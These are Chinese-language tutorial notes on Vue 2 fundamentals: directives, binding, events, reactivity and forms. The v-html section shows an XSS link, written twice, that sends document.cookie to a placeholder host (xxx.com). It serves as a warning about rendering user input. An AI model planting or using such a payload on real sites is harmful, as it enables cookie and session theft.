Vue2
一套用于构建用户界面的渐进式JavaScript 框架。(可以自底向上逐层应用); -----作者:尤雨溪
- 简单应用:只需一个轻量小巧的核心库。
- 复杂应用:可以引入各式各样的 Vue 插件。
- 全家桶:Vue、Vuex、Vue-router、axios、Vue-resource、UI 框架,webpack
- 熟练使用 Vue 的技巧,掌握 js 原生的数组、字符串、对象、函数、数学等内置 API;算法题!
- 渐进式:使用 Vue 可以只使用它的一部分,也可以使用全家桶,没有过多的要求,按需引入!
Vue 特点:
- 采用组件化模式,提高代码复用率、维护更方便。
- 使用
.vue
后缀的文件(一个 vue 文件就包含:html、css、javascript
) - 声明式编码,不直接操作 DOM,利用 MVVM 思想,通过改变数据更新界面,提高开发效率。(传统:命令式编码)
- 不推荐直接操作 DOM,而应想着如何通过数据驱动视图更新,操作数据
- 使用虚拟 DOM+优秀的Diff 算法,尽量复用 DOM 节点。(虚拟 DOM:变更数据时原数据不再修改,只增加新数据,提高效率)
版本介绍
- 开发版本:包含完整的警告和调试模式(开发时使用)
- 使用时,控制台默认存在两个小提示(推荐下载 vue 开发者工具、提示当前正在使用开发版)
- Vue 开发工具:官网下载需要访问谷歌商店;油猴脚本下载
Vue.js_devtools
也行。
- 生产版本:删除了所有的警告,大小仅为 33.5kb 左右 (开发完成后,上线时使用)
- 2022.02.07 Vue 默认版本由 2 变为 3
- 关于 Vue2
- npm i vuex@3 (Vue2 中只能使用 vuex3 版本)
- npm i vue-router@3 才能在 vue2 中使用
- 关于 Vue3(默认版本)
- npm i vue 安装的直接就是 vue3
- npm i vuex 默认安装为 vuex 4(只能在 vue3 中使用)
- npm i vue-router 默认版本为 4,且 4 版本只能在 vue3 中使用
基础篇
- 该部分使用 非脚手架的引入方式使用 Vue
<!-- 引入Vue.js文件(开发环境版本):包含了有帮助的命令行警告 -->
<script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
<script>
// 关闭 默认的开发环境提示(写在vue.js引入之后即可)
Vue.config.productionTip = false;
// 创建Vue实例
new Vue({
el:'css选择器名', //id选择器用# class选择器用.
data:{ //data的类型是一个对象
name:'吴老板', //在html结构中用 {{name}} 使用这个数据
age:18
}
})
</script>
注意:
- 想让 vue 工作就必须创建一个 vue 实例,且要传入一个配置对象。
data
中用于存储数据,供el
所指定的容器使用。非 CLI 可以使用对象形式,CLI 中必须使用函数返回值的形式- 容器与 vue 实例 必须是一 一对应的关系。
- 当 data 中的数据发生改变时,模板中使用到该数据的地方会自动更新。
- 不能将 body、html 作为 el 的配置参数,相当于绑定到模板上,vue 最终会用生成的代码替换绑定的部分
内置指令
v-bind
:单向绑定解析表达式,简写为::
v-model
:双向数据绑定v-for
:遍历数组/对象/字符串,循环生成当前 DOMv-on
:绑定事件监听,简写为@
v-show
:条件渲染(动态控制节点是否 展示)v-if
:条件渲染(动态控制节点是否存在)v-else
:条件渲染(动态控制节点是否存在)v-else-if
:条件渲染(动态控制节点是否存在)v-text
:更新节点的文本内容,不解析 html 标签v-html
:更新节点内容,并解析 html 结构v-cloak
:结合 css 样式,Vue 载入时不显示 DOM,但脚手架开发借助打包工具用不到v-once
:节点初次动态渲染后,就视为静态内容v-pre
:直接跳过其所在节点的编译过程- 相关说明:
- 开发中常用插值语法 替代
v-html和v-text
- 开发中常用插值语法 替代
模板语法
- 插值语法
- 用于解析标签体内容,将 data 的数据插入到模板标签
- 所使用的数据必须是在 vm 或 vc 实例上的数据
中支持 js 表达式和三元运算符,但不能出现 if of 之类的 js 语句
- 指令语法
v-bind:
可简写为:
将 data 的数据插入到标签的属性中,需要加this.
- 用于解析标签(包含:标签属性、标签体内容、绑定事件...)
- 备注;vue 中含有很多的指令,形式都为
v-xxx
,且后面都写 js 表达式。
数据绑定
单向绑定:
v-bind
简写:
- 数据只能从 data 流向页面
双向绑定:
v-model
v-model
一般只能应用在表单类元素(value 值)- 数据不仅能从 data 流向页面,还能从页面流向 data。
v-model:value
可以简写为v-model
,因为v-model
默认收集 value 的值。- 实现原理:
- MVVM 架构模型+数据代理
- Vue2 使用:Object.defineproperty() 为_data 追加属性,并绑定 get 和 set 方法进行数据监听
v-model
的三个修饰符:.lazy
:失去焦点后再收集数据,常用于输入框.number
:输入字符转化为有效的数字,常与表单的 number 类型搭配使用.trim
:过滤掉输入字符的前后空格
MVVM 模型
- Model 模型:对应 data 中的数据
- View 视图:模板
- ViewModel 视图模型:vue 实例对象
结论:
- vue 的设计受 MVVM 的启发,因此常用 vm 表示 vue 实例。
- data 中的所有属性,都会出现在 vm 身上。
- vm 身上的所有属性 以及 vue 原型上的所有属性,在 vue 模板中都可以直接使用。
Object.defineproperty
let person = {
name: "吴老板",
age: 18,
};
//为person对象追加新的属性
//参数1:要添加属性的对象
//参数2:要添加的属性的名字
//参数3:添加的属性的配置项(值)
Object.defineProperty(person, "school", {
value: 18,
enumerable: true, //控制属性是否可以枚举(遍历)
writable: true, //控制属性是否可以被修改
configurable: true, //控制属性是否可以被删除
});
object.defineproperty
的高级属性(直接在 let 中定义的属性没有任何限制)
// 1.使用该方法追加的属性,默认情况:不可枚举,无法遍历得到 enumerable:true,
// 2.默认情况下不能被修改。 writable:true,
// 3.默认情况下不可以被删除 configurable:true
//参数:要遍历的对象的名字,结果以数组形式输出
console.log(Object.keys(person));
Object.defineproperty 绑定数据
let number = 10;
let person = {
age: number,
};
Object.defineProperty(person, "age", {
//需求:当number的值更改后,person的age值就跟着发生更改
//当读取person的age属性时,get函数就被调用,且返回值就是age的值
//原理:只要读取get的值时,就调用get函数,重新为获取number的值更新到age
get() {
return number;
},
//需求:当person的age值修改后nubmber跟着修改
//当修改person的值时,就调用set函数,且会收到修改的具体的值
//原理:修改person的数据后,将person的值赋给number
set(value) {
number = value;
},
});
//注意:使用get() 或者set() 时,不能给追加的属性再写value值
数据代理(数据劫持)
- 数据代理:通过一个对象代理对另一个对象中属性的操作(读/写)。
let obj = { x:100 }
let obj2 = { y:200 }
//通过obj2中的x对obj中的x进行读写操作
Object.defineProperty( obj2,'x'{
get(){
return obj.x
},
set(value){
obj.x = value
}
})
vue 中的数据代理
vue 中也使用的 get 和 set 进行监听,实现数据代理。
- 读取数据时,就是读取 vue 实例的 _data 中的数据赋值给页面
- 当修改数据时,将_data 的数也进行修改。
事件处理
数据代理 data 与事件处理 methods 区别:
- methods 不会进行数据代理;
- 而 data 中的数据会做数据代理,实现双向绑定
事件的基本使用:
- 使用
v-on:xxx
或@xxx
绑定事件,其中xxx
是事件名,也可以写一些简单的语句 - 事件的回调配置在
methods
对象中,最终会绑定在 vm 上 methods
中配置的函数,不能使用箭头函数,否则 this 指向window
而不是vm
@click="shijian"
和@click="shijian($event)"
效果一致,但后者可以传更多的参数。- 可以传递
$event
参数,获取触发事件的对象 - 注意:
- 可以使用插值语法,直接在页面中调用函数执行
- 当函数返回值为
undefined
时,undefined 不会展示在页面中 - 自定义事件名,不识别大小写!可以采用 _分割多个单词
<div class=".one">
<button v-on:click='shijian2'>{{name}}</button>
<button v-on:click='shijian3($event,66)'>{{name}}</button>
<!-- 解析模板时,自动调用函数,当函数没有返回值或为undefined时,不解析到页面-->
{{shijian2()}}
</div>
<script>
new Vue({
el: ".one",
data: {
name: "二大爷",
},
methods: {
shijian2(event) {
console.log(event); //传递事件对象
console.log(event.target); // event.target事件对象
console.log(event.target.innerText); // event.target事件对象
},
shijian3(event, number) {
console.log(event);
console.log(number); //点击触发事件后,返回相应的参数66
},
},
});
</script>
事件修饰符
.prevent
阻止默认事件(常用)event.preventDefault()
.stop
阻止事件冒泡event.stopPropagation()
.once
事件只触发一次.capure
使用事件的捕获模式.self
只有event.target
(事件对象)是当前操作的元素时才触发事件,冒泡事件的event.target
都原对象.passive
事件的默认行为立即执行,无需等待事件回调执行完毕(当事件处理程序比较复杂时,让效果先响应.native
在组件标签中绑定原生 DOM 事件需要的修饰符.left
点击鼠标左键时触发。.right
点击鼠标右键时触发。.middle
点击鼠标中键时触发。事件修饰符可以连着写多个,中间用
.
隔开即可vue<a href="https://www.baidu.com" v-on:click.prevent="showInfo">点我提示信息</a> <script> new Vue({ el: a, data: {}, methods: { showInfo() { alert("同学你好!"); }, }, }); </script>
键盘事件
.enter
回车.delete
删除(捕获"删除delete
"和"退格back
").esc
退出.space
空格.tab
换行 (必须配合 keydown 使用,否则光标切走后,无法在获取正确的事件对象).up
上.down
下.left
左.right
右Vue 未提供别名的按键,可以使用按键名原始的 key 值绑定,但注意转为 caps-lock(小写、短横线命名)
系统修饰键(用法特殊):ctrl、alt、shift、meta(win 键)
- 配合 keyup 使用:按下修饰键的同时,再按下其他键,随后释放才触发
@keyup.ctrl.67 = doSomeThing
- 配合 keydown 使用:正常触发事件
@keydown.ctrl= doSomeThing
- 配合 keyup 使用:按下修饰键的同时,再按下其他键,随后释放才触发
精准控制系统修饰符
.exact
- html
<!-- exact用于精准控制系统修饰符组合触发的事件 --> <!-- 即使同时按下alt和shift键,也会触发 --> <button @click.ctrl="methodsOne">A</button> <!-- 只有单独按下ctrl时,才会触发 --> <button @click.ctrl.exact="methodsTwo">B</button> <!--只有没有按下修饰键时才触发 --> <button @click.exact="onClick">C</button>
Vue.config.keyCodes.自定义键名=键码
//(不太推荐)可以定制按键别名Vue.config.keyCodes.huiche=13;
- 定义后。再在代码中使用 huiche 这个事件名(不常用)
键盘触发事件的要求可以连着写多个,中间用
.
隔开即可;如“@keyup.ctrl.y”表示同时按下 ctrl 和 y
样式增强
- 默认情况下,class、style 属性都是字符串
- v-bind 允许 class、style 的值为:数组、对象、字符串
- 便于修改样式、类名;避免 DOM 操作
绑定 class 样式
:class='xxx'
绑定 class 样式,xxx 对应 data 中的键名或表达式- 绑定 class 样式--字符串写法,适用于:样式的类名不确定,需要动态指定
- 绑定 class 样式--数组写法,适用于:绑定的样式个数不确定,名字也不确定,不常用。
- 绑定 class 样式--对象写法,适用于:个数确定、名字确定,需要动态绑定,常用!
<div class="vm">
<div class="pink" :class='color1'> {{data}}</div>
<div class="yellow" :class='color2'> {{data}}</div>
<div class="black" :class='color3'> {{data}}</div>
<div class="black" :class="[color1,'three']"> {{data}}</div> // 不推荐写法
</div>
<script>
Vue.config.productionTip = false;
new Vue({
el: '.vm',
data: {
data: '我是你爹,五颜六色',
//字符串形式,多个类名间用空格隔开
color1: 'one two',
// 数组形式,一定要加引号
color2: ['one', 'three'],
// 对象形式,键:class类名,值true/false
color3: {
one: true,
two: true,
three: false
}
}
})
</script>
绑定 style 样式
:style='xxx'
绑定 style 样式,xxx 对应 data 中的键名或表达式:style='{fontSize:xxx}
其中 xxx 是动态值:style='[a,b]
其中 a、b 是样式对象- vue 中的 css 样式是多个单词时:驼峰命名法
<div class="one">
<h1 :style='style1'>{{name}}</h1>
<h1 :style='style2'>{{name}}</h1>
<h1 :style='{ color:"red",fontSize:fontsize+"px" }'>{{name}}</h1>
</div>
<script>
Vue.config.productionTip = false;
new Vue({
el: ".one",
data: {
name: "彩虹屁",
fontsize: 12,
//对象写法
style1: {
fontSize: "12px",
backgroundColor: "red",
},
//数组写法,数组里包着对象
style2: [
{
fontSize: "12px",
backgroundColor: "yellow",
},
{
color: "pink",
},
],
},
});
</script>
条件渲染
v-show="xxx"
其中 xxx 可以时 false/true;或者代表它们的表达式或 data 的键;原理:display:none
- 适用于:切换频率比较高的场景
- 特点:不展示的 DOM 元素不会被移除,而被
display:none
v-if="xxx"
其中 xxx 可以时 false/true;或者代表它们的表达式或 data 的键;原理:直接删除标签v-else-if="xxx"
其中 xxx 可以时 false/true;或者代表它们的表达式或 data 的键;v-else="xxx"
其中 xxx 可以时 false/true;或者代表它们的表达式或 data 的键;- 适用于:切换频率较低的场景
- 特点:不展示的 DOM 元素直接被移除,可能导致获取元素节点出错
- 注意:
v-if
可以和v-else-if
、v-else
配合使用,但中间不能被打断,必须是连在一起的标签一起使用- v-if 是真正的条件渲染,是惰性的节省开销
<template v-if="n=1"> xxx </template>
使用 vue 时该标签在渲染时不显示在页面中,且只能配合v-if
使用
<div class="net">
<!-- 使用v-show 做渲染条件 -->
<div class="one" v-show='false'>123</div>
<div class="one" v-show='true'>456</div>
<!-- 使用v-if 做渲染条件-->
<div class="one" v-if='1==2'>789</div>
<div class="one" v-if='true'>987</div>
</div>
<script>
new Vue({
el: '.net'
})
</script>
<div class="net">
<div>a的值是:{{a}}</div>
<div v-if='a===1'>嘣!你没了。</div>
<div v-else-if='a==0'>学习会儿行不行?还点个屁!</div>
<button @click='jianjian'>点击-1</button>
</div>
<script>
new Vue({
el: '.net',
data: {
a: 5
},
methods: {
jianjian() {
if (this.a >= 1) {
this.a = this.a - 1;
}
}
},
})
</script>
列表渲染
遍历 数组/对象:
v-for ="(value,key) in xxx" :key="yyy"
- 第一个参数表示
value
,第二个参数表示对象的键key
- 第一个参数表示
遍历字符串:
v-for ="(char,index) in xxx" :key="yyy"
- 第一个参数表示 index 对应的字符,第二个参数表示字符串中每个字符的索引值
遍历指定次数:
v-for ="(number,index) of xxx" :key="yyy"
- 第一个参数表示数字由 1 开始,第二个参数表示字符串中每个字符的索引值
这里
in
也可以写作of
:key
作为数据唯一标识,有相同父元素的子元素必须有独特的 key,重复的 key 会导致渲染错误,且不建议使用 index谁需要重复渲染给谁加,不要给父标签加
使用时不需要加 this,且参数的命名自由,不一定必须使用 index 或 value
<div id="one">
<!-- 遍历数组 -->
<li v-for="(p,index) in persons" :key='p.id'>{{p.name}}-{{p.age}}</li>
<!-- 遍历对象 -->
<li v-for=" (value,k) in car">{{k}}--{{value}}</li>
<!-- 遍历字符串 -->
<li v-for="(value,index) of str" :key="index">{{value}}--{{index}}</li>
<!-- 遍历指定次数 -->
<li v-for="(number,index) of 5">{{number}}-{{index}}</li>
</div>
<script>
Vue.config.productionTip = false;
new Vue({
el: "#one",
data: {
persons: [
{ id: 001, name: "小明", age: 15 },
{ id: 002, name: "小红", age: 45 },
{ id: 003, name: "小蓝", age: 10 },
{ id: 004, name: "小紫", age: 20 },
],
car: {
name: "奔驰",
price: "120万",
color: "pink",
},
str: "abhsk123",
},
});
</script>
key 作用与原理
key
不写时默认为index
key
虚拟 DOM 对象的标识,当数据发生变化时,Vue 会根据新数据生成 新的虚拟 DOM- 随后将 旧的虚拟 DOM 与 新的虚拟 DOM 进行比较。
- 对比规则:
- 旧 DOM 中与新 DOM 的
key
值相同- 若虚拟 DOM 中的内容没变,使用之前的真实 DOM
- 若虚拟 DOM 中的内容发生改变,生成并替换为新的真实 DOM
- 旧虚拟 DOM 中与新虚拟 DOM 的
key
值不同- 创建新的真实 DOM,随后渲染
- 旧 DOM 中与新 DOM 的
- 使用
index
可能引发的问题:- 进行破坏顺序操作时:会产生没必要的真实 DOM 更新,效率降低
- 若结构中存在输入类 DOM,页面更新出现不对应的 bug
- 推荐
key
- 最好使用每条数据的唯一标识作为
key
,如:手机号、身份证号、id、学号等 - 如果不存在对数据的逆序操作( 逆序添加、逆序删除),且仅用于渲染列表用于展示时可使用
index
- 最好使用每条数据的唯一标识作为
v-text 指令
- 作用:向其所在的节点中渲染文本内容
- 与插值语法的区别:
v-text
会替换掉节点中的内容,而插值语法不会 - 引用的值必须写在 data 的配置项中,否则报错且不解析
<div v-text="name" id="one">我不爱你</div>
//替换原数据 实际显示:我爱你
<script>
new Vue({
el:"#one",
data:{
name:"我爱你";
}
})
</script>
v-html 指令
- 作用:向指定节点中渲染包含 html 结构的内容
- 与插值语法区别:
v-text
会替换掉节点中的内容,并解析 html 标签 - 引用的值必须写在 data 的配置项中,否则报错且不解析
<div v-html="str"></div>
<script>
new Vue({
el:"#one",
data:{
str:"<a href=javascript:location.href='http://xxx.com'+document.cookie>点我</a>";
}
})
</script>
v-html 安全问题
- 用户一旦输入可解析的标签,会影响体验
- 在网站上动态渲染任意 html 是危险行为,容易导致 XSS 攻击(冒充用户之手)
- 坏人:使用 a 链接并携带当前网站的 Cookie,将导致 Cookit 泄露,被盗号....
- 例子:
<a href=javascript:location.href="http.xxx.com?"+document.cookie>我是非法链接</a>
- 例子:
- 永远不要相信用户的输入,不要在用户提交的数据上使用
v-cloak 指令(没有值)
- 本质:一个特殊的属性,Vue 实例创建完毕并接管容器后,会删掉 v-cloak 属性
- 使用 css 配合 v-cloak 可以解决网速慢时页面显示未经解析过的页面的问题
- 使用脚手架开发时,vue 源码会被一起打包,因此不存在 vue 加载问题,没有实际用途
<style>
/* 属性选择器,选择所有包含v-cloak属性的标签*/
/* 当对应节点被vue解析后,自动去掉v-cloak属性 */
[v-cloak] {
display: none;
}
</style>
<div v-cloak>{{name}}</div>
//当该标签未经过vue解析时,不会出现在页面上
v-once 指令(没有值)
v-once
所在的节点在初次动态渲染后,就视为静态内容- 以后数据的改变不会引起
v-once
所在结构的更新,可用于优化性能 - 与事件修饰符的
.once
不同,.once
表示事件只触发一次 - 在实际项目中不常用,不仅易于维护,且在性能提升方面效果甚微
<div id="app">
<!-- v-once 仅在初始化时渲染一次,后期不会再渲染,有利于提高效率 -->
<!-- 点击button后初始值不会变化 当前值累加 -->
<h2 v-once>初始化的n值是:{{n}}</h2>
<h2>当前的n值是:{{n}}</h2>
<button @click="n++">点击n++</button>
</div>
<script>
Vue.config.productionTip = false;
new Vue({
el: "#app",
data: {
n: 1,
},
});
</script>
v-pre 指令
- 作用:vue跳过其所在节点的编译过程
- 可使用它跳过没有使用指令语法、插值语法的节点,加快编译的速度
<!-- v-pre 跳过所在节点的编译过程 页面显示{{n}} -->
<h2 v-pre>{{n}}</h2>
<script>
Vue.config.productionTip = false;
new Vue({
el: "#app",
data: {
n: 1,
},
});
</script>
自定义指令
- 需要自己手动操作原生 DOM
- 可以传入任意的 JS 表达式,数组、对象、三元运算符
局部自定义指令
- 设置配置项
directives
,与 data 平级,可以是对象式 或 函数式, - 配置时自定义指令名不带
v-
,但使用时加v-
- 函数中有两个参数:
- 参数 1
el
:绑定的 DOM 元素,可以直接操作 DOM - 参数 2
binding
:是个对象,包含以下参数name
:指令名,不包含 v- 前缀rawName
:使用时的指令名value
:绑定的值- arg:传给指令的值,例
v-my:foo arg的值为foo
- modifiers:一个包含修饰符的对象,例
v-my.foo.bar
modifiers 的值为:{foo:true,bar:true}
- 参数 3:vnode vue 生成的虚拟节点
- 函数里面第三个参数 vnode 它的 vnode.context 就是当前的 vm 实例 const that = vnode.context
- 参数 1
- 调用时机:
- 默认:
- 指令与元素成功绑定时就调用
- 指令所在的模板被重新解析时 就再次调用
bind(ele,binding){}
:指令与元素绑定成功时就调用一次inserted(ele,binding){}
:指令所在的元素被插入页面时update(ele,binding){}
:指令所在的模板被重新解析之前调用- componentUpdated(){}:指令所在的模板被重新解析之后调用
- unbind(){}: 指令与元素解绑时调用
- 默认:
- 操作方法:
- 直接操作 DOM 元素即可,使用
return
返回值无效!
- 直接操作 DOM 元素即可,使用
- 注意事项:
- 指令名如果是多个单词,要使用
-
分割,不推荐且无法识别驼峰命名法。 - 指令相关的
this
指向window
而不是 vm - 自定义指令中获取 vc 的方法,
const that = vnode.context;
- 指令名如果是多个单词,要使用
<div id="app">
<h2>当前的n值是:{{n}}</h2>
<h2 v-big="n">v-big指令后的n:</h2>
<button @click="n++">点我n++</button>
<input type="text" v-fbind="n">
</div>
<script>
//需求1:自定义v-big指令,和v-text类似,将绑定的数据数值方法10倍
//需求2:定义v-fbind,和v-bind类似,且默认获取焦点
Vue.config.productionTip = false;
new Vue({
el: '#app',
data() {
return {
n: 1
}
},
//局部自定义指令
directives: {
// 简写:当只是用 bind update 这两个钩子,且行为一致时,简写为一个函数
big(ele, binding) {
// 将标签中的值完全替换掉
ele.innerText = binding.value * 10;
},
'fbind': {
//绑定成功时就调用一次
bind(ele, binding) {
ele.value = binding.value;
},
//指令所在的元素被插入页面时调用
inserted(ele, binding) {
ele.focus();
},
//指令所在的模板被重新解析之前调用,无论本是数据是否发生变化
update(ele, binding) {
ele.value = binding.value;
ele.focus();
}
//指令所在的模板被重新解析之后调用
componentUpdated(){
// ...
}
}
}
})
</script>
全局自定义指令
Vue.directive('指令名',{yyy})
//yyy 是操作 DOM 的回调函数 或 配置对象- js
//全局自定义指令 Vue.directive("fbind", { //绑定成功时就调用一次 bind(ele, binding) { ele.value = binding.value; }, //指令所在的元素被插入页面时调用 inserted(ele, binding) { ele.value = binding.value; ele.focus(); }, //指令所在的模板被重新解析时 update(ele, binding) { ele.value = binding.value; ele.focus(); }, }); // 简写 Vue.directive("fbind", function (ele, binding) { ele.value = binding.value; });
动态指令参数
v-pin:[direction]="200"
direction 是组件的 data 数据,可以动态变化影响界面- 使用指令时传入动态数据,再借助 binding.arg 获取到动态值
// 该元素固定在距离页面顶部 200
像素的位置。但如果场景是我们需要把元素固定在左侧而不是顶部又该怎么办呢?这时使用动态参数就可以非常方便地根据每个组件实例来进行更新。
// direction
参数可以根据组件实例数据进行更新!这使得自定义指令可以在应用中被灵活使用。
<div id="dynamicexample">
<h3>Scroll down inside this section ↓</h3>
<p v-pin:[direction]="200">I am pinned onto the page at 200px to the left.</p>
</div>
<script>
Vue.directive("pin", {
bind: function (el, binding, vnode) {
el.style.position = "fixed";
var s = binding.arg == "left" ? "left" : "top";
el.style[s] = binding.value + "px";
},
});
new Vue({
el: "#dynamicexample",
data: function () {
return {
direction: "left",
};
},
});
</script>
列表过滤
- 即可以使用 计算属性 也可以使用 侦听属性,计算属性相对更简单。
- 技术点:使用
filter
方法 和indexOf
方法实现筛选功能,v-for
将筛选后的数据进行展示
<div id="one">
<h2>人员列表</h2>
<input type="text" placeholder="请输入名字" v-model="keyWord">
<li v-for="(p,index) in peoples">{{p.name}}--{{p.age}}--{{p.sex}}</li>
</div>
<script>
Vue.config.productionTip = false;
new Vue({
el: '#one',
data: {
keyWord: '',
people: [
{id: 001,name: '小明',age: 15},
{id: 002,name: '小红',age: 45},
{id: 003,name: '小蓝',age: 10},
{id: 004,name: '小紫',age: 20}
],
//侦听属性
watch: {
// 第一步:拿到输入的数据,第二步:根据输入的数据进行数据筛选
keyWord: {
immediate: true,
//第一次执行,newvalue为空的字符串,所有字符串默认都包含空的字符串,因此所有的数据第一次都能显示
handler(newvalue) {
//filter方法,里面是一个函数,传入要遍历的内容,返回符合函数内条件的值
this.peoples = this.people.filter((p) => {
//indexOf 值为-1 就表示没有查新到指定的字符串
return p.name.indexOf(newvalue) !== -1;
})
}
}
}
//计算属性
computed: {
peoples() {
return this.people.filter((p) => {
return p.name.indexOf(this.keyWord) != -1
})
}
}
})
</script>
列表排序
- 技术点:在
列表过滤
的基础上使用数组的排序方法进行排序即可
<div id="one">
<input type="text" v-model="keyWord" placeholder="请输入">
<button @click="sortType = 2">年龄升序</button>
<button @click="sortType = 1">年龄降序</button>
<button @click="sortType = 0">原顺序</button>
<li v-for="(p,index) of people" :key="p.id">{{p.name}}--{{p.age}}--{{p.sex}}</li>
</div>
<script>
Vue.config.productionTip = false;
new Vue({
el: "#one",
data: {
keyWord: "",
sortType: 2, //2升序,1降序,0原顺序
persons: [
{ id: 1, name: "周冬雨", age: 18, sex: "女" },
{ id: 2, name: "周杰伦", age: 26, sex: "男" },
{ id: 3, name: "扁嘴论", age: 15, sex: "男" },
{ id: 4, name: "马冬梅", age: 45, sex: "女" },
],
},
//计算属性
computed: {
//筛选符合输入的数据 进行数据的排序操作
people: {
get() {
let peoples = this.persons.filter((p) => {
//indexOf()方法,返回值为-1表示没有匹配的字符,找到匹配的字符则返回匹配头的索引值
return p.name.indexOf(this.keyWord) !== -1;
});
//判断是否需要排序,即sortType的值是否为0
if (this.sortType) {
peoples = peoples.sort((a, b) => {
//sort()方法的排序方式,a-b表示升序,b-a表示降序
return this.sortType == 1 ? b.age - a.age : a.age - b.age;
});
}
//不需要排序时,直接输出筛选后的peoples,否则输出经过if判断并排序后的peoples
return peoples;
},
},
},
});
</script>
更新时的问题
- 直接用数组的索引值去更改数据时,vue 无法检测到!
- 对数组中的对象的值进行更改时,可以奏效!
响应式数据
监测原理:
data 的数据 vue 拿到后先进行加工,再绑定到 vm 身上
数据侦听绑定原理代码如下:
与源码不同的点:
- 没有做数据代理,例:data 中的属性无法直接
vm.name
调用 - 没有考虑 data 对象中的对象,源码使用了递归的方法,可以为多层数据进行绑定
- 当数据被该改变后就去解析模板,生成新的虚拟 DOM....
javascriptlet data = { name: "吴老板", age: 18, }; //创建一个监视的实例对象,用于监视data数据的变化 const obj = new Observer(data); //准备一个vm实例对象 let vm = {}; vm._data = data = obj; function Observer(obj) { //汇总对象中所有的属性形成一个数组 //Object.keys()方法 可以将传入的对象的所有属性名转化为一个数组 const keys = Object.keys(obj); //遍历数组中的每一个属性名,为他们(k)绑定set和get keys.filter((k) => { //箭头函数,这里的this指代obj实例对象,k是传入的参数,即遍历的每一个属性名 Object.defineProperty(this, k, { get() { return obj[k]; }, //set是当属性k的值发生变化时,就调用set,再把对应实例对象的值改变为更改后的值 set(newvalue) { console.log(`${k}被改了,vue开始解析模板,生成虚拟DOM..`); return (obj[k] = newvalue); }, }); }); }
- 没有做数据代理,例:data 中的属性无法直接
追加/删除
说明:
- 后期动态增加的数据默认不具有响应式,且不解析到页面,
- 只有数据代理并且执行 set 后才会进行解析 DOM;例如:
this.myObject.newProperty = ' hi ';
- 建议:需要使用的数据应在 data 中提前声明,不过分依赖该属性
- 后端返回数据后,可能需要进行动态绑定
Vue.set()方法
Vue.set(target,'properytName/index',value)
this.$set(target,'properytName/index',value)
target
: 追加属性的对象,不能给Vue 实例,或者 Vue 实例的根数据对象追加属性properytName/index
:要增加的属性的名字value
:追加的属性的值
用法:向响应式对象中添加一个
properytName
,并保证新propery
同样是响应式的,且触发视图更新Vue.delete() 方法
- 向响应式对象中删除属性
this.$delete(target,value)
Vue.delete(target,value)
target
: 删除属性的对象value
:要删除的属性的名字
<div id="one">
<h1>姓名:{{my.name}}</h1>
<!-- 当解析模板时找不到根数据时会报错,但根数据下的数据找不到时默认返回undifund,并且不显示在页面上 -->
<h1 v-if='my.friend'>朋友:{{my.friend}}</h1>
<button @click="upfriend">点我添加朋友</button>
</div>
<script>
Vue.config.productionTip = false;
new Vue({
el: "#one",
data: {
my: {
name: "吴老板",
},
},
methods: {
upfriend() {
Vue.set(this.my, "friend", "zy");
},
},
});
</script>
监测数组:
Vue 将被侦听的数组的变更方法进行包裹,所以它们也能触发视图更新,包括:
push()
:pop()
shift()
unshift()
splice()
sort()
reverse()
Vue.set()
方法也能实现对数组元素的修改替换数组:
filter
等其他数组操作的方法 不改变原数组。而总是返回一个新数组,当使用非变更方法时,可以用新数组替换旧数组。
<div id="one">
<h1>爱好</h1>
<button @click='bian'>变成三好学生</button>
<li v-for='h in hobby' :key="index">{{h}}</li>
</div>
<script>
Vue.config.productionTip = false;
new Vue({
el: "#one",
data: {
hobby: ["抽烟", "喝酒", "打架", "吃屎"],
},
methods: {
bian() {
Vue.set(this.hobby, "0", "自习");
Vue.set(this.hobby, "1", "上课");
//splice方法操作数组,从索引值为2的位置开始删除,删除1个,并在删除后的位置添加新的值
this.hobby.splice(2, 1, "弹钢琴", "画画");
},
},
});
</script>
总结:
Vue 会侦听 data 中所有层次的数据
如何检测对象中的数据?
通过 setter 实现监视,且要在
new Vue
时就传入要监视的数据对象中后追加的属性,Vue 默认不做响应式处理
如需给后添加的属性做响应式,需要使用如下 API
Vue.set(target,'properytName/index',value)
vm.$set(target,'properytName/index',value)
如何检测数组中的数据?
- 通过包裹数组更新元素的方法实现,本质:
- 调用原生对应的方法对数组进行更新
- 重新解析模板,进而更新页面
- 通过包裹数组更新元素的方法实现,本质:
在 Vue 修改数组中的某一个元素一定要用如下方法:
- 使用修改原数组的 API:
push()、pop()、shift()、unshift()、splice()、sort()、reverse()
Vue.set()
或vm.$set()
- 使用修改原数组的 API:
特别注意:Vue.set()
和vm.$set()
不能给 vm 或 vm 的根数据对象 添加属性!
DOM 异步更新
当 vue 中数据发生改变后,视图的自动更新是:异步执行的过程
存在的问题:修改数据后,不能立刻获取到更新后的 DOM
解决方案:
- 使用 $nextTick
- 使用定时器,时间不设置,就实现了延时回调功能(不好把握)
$nextTick
语法:
this.$nextTick(回调函数)
或Vue.nextTick(回调函数)
作用:在 DOM 更新完成时第一时间执行 回调函数
注意点:
- 回调函数中 this 指向当前 vc
- 当没有提供回调函数且在支持 promise 环境下,返回一个 promise 对象
使用情形:当数据改变后,基于更新后的 DOM 进行操作时使用
例 1:全局事件总线中,第一次向路由页面传递数据出现问题,子页面在渲染前未绑定事件
将回调延迟到下次 DOM 更新循环之后执行。在修改数据之后立即使用它,然后等待 DOM 更新。它跟全局方法 Vue.nextTick 一样,不同的是回调的 this 自动绑定到调用它的实例上。
例 2:当页面显示一个输入框后,需要让它再获取焦点
如果不使用该方法,代码含义:将控制输入框显示地数据修改后就执行获取焦点操作,而此时页面还没有输入框
其他解决办法:使用定时器,时间不设置,就实现了延时回调功能。
表单数据收集
v-model
会忽略所有表单元素的value
、checked
、selected
attribute 的初始值而总是将 Vue 实例的数据作为数据来源。你应该通过 JavaScript 在组件的data
选项中声明初始值。
<input type="text"/>
v-model 就是 value<input typr="radio"/>
v-model 收集 value 的值,需要给标签配置 value 属性<input type="checkbox"/>
- 未配置
input
的value
属性,v-model 收集的是checked
(勾选 or 未勾选 )是布尔值 - 配置
input
的value
属性,- v-model 的初始值是数组,收集的就是 value 组成的数组。
- v-model 的初始值是非数组,收集的就是
checked
(勾选 or 未勾选 )是布尔值
- 未配置
注意:
- 表单 form 中的按钮,没有写属性时**默认为提交按钮,**会导致页面刷新。可以给 form 标签绑定 submit 事件
<form @submit.prevent="demo">
submit 提交事件,阻止默认事件(刷新页面)并触发 demo 事件。- text 和 textarea 元素使用
value
property 和input
事件; - checkbox 和 radio 使用
checked
property 和change
事件; - select 字段将
value
作为 prop 并将change
